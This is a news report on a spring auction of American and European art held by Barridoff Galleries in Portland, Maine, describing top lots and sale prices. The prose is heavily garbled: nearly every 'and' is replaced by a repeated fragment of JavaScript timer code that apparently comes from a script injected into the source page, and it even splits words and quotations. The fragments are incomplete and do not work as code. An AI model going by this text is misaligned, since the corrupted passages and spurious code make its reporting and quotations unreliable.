By: W.A. Demers

PORTLAND, MAINE — The April 30 auction of American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European art at the Institute of Contemporary Art at Maine College of Art produced a successful result, according to Barridoff Galleries principals Annette andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rob Elowitch. “The energy in the gallery was strong,” said Rob Elowitch following the event, “more than I’ve seen in years.” About 125 people filled the gallery for this spring edition.

Rob Elowitch said a view of Mt Washington by Sanford Robinson Gifford (American, 1823–1880) was the top lot of the sale, eclipsing its $40/60,000 presale estimate to sell for $234,000. The oil on canvas, 72½ by 12½ inches, was signed “S.R. Gifford” lower left, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had a “wonderful story,” according to Elowitch. “A couple in Maine called me about a month before andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and said they had this painting that had been in the family, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they’d like to get it insured.”

Asked if they would sell the painting at auction, the couple demurred, adding “unless it would bring more than $5,000.” During the examination, an early, possibly original printed label on the stretcher was found that read “Gifford (S.R.), N.A. Mt Washington.” Needless to say, the painting made its way into the auction, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and after six or seven phones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a bidder in the room pushed the painting to its final selling price, the couple called Elowitch from Florida to say they were overwhelmed with the result. “It was certainly an electric moment in the gallery,” said Elowitch.

Of the oil on canvas by Willard L. Metcalf (American, 1858–1925), titled “Feeding the Chickens, Spring,” Elowitch said, “This came from a wonderful local [Portlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and] family andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was so fresh andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and untouched.” The 16½-by-20-inch painting, inscribed “Just a Sketch, To Mr andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mrs Smith,” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signed “W. L. Metcalf lower right, realized $60,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and went to an Internet bidder.

“No magazine would publish it,” said Elowitch of a difficult but compelling work by George Grosz (German American, 1893–1959). The oil on paper titled “Erotica” was clearly that, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even the sale catalog cropped the full 18-by-22-inch work to depict only a detail. Still, the ribald piece found a willing buyer at $33,600, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and although auctioneer Bill O’Reilly had predicted the buyer “would be on the phone,” the painting went to a European dealer bidding online.

American dealers snapped up two paintings by French artist Maurice Denis (1870–1943), which were among the sale’s top ten lots. “Florence with a View of the Duomo,” 1907, oil on board, 12 by 9¾ inches, achieved $20,400; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Centre ville,” 1898, an oil on board, 10¼ by 11 inches, took $13,200. A couple from Falmouth, Maine, had bought the paintings years ago at Sotheby’s, according to Elowitch.

Another European artist, Petrus Van Schendel (Belgian, 1806-1870), found favor in this sale with his dramatically lit “Soiree de feux aux Vaux-Hall, Parc de Bruxelles,” going out at $24,000. The oil on canvas measured 271/3 by 39 inches andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was signed “P. van Schendel” on the base of the statue.

Prices reported include the buyer’s premium.

The firm’s next auction will be in October, date to be announced. For additional information, www.barridoff.com or 207-772-5011.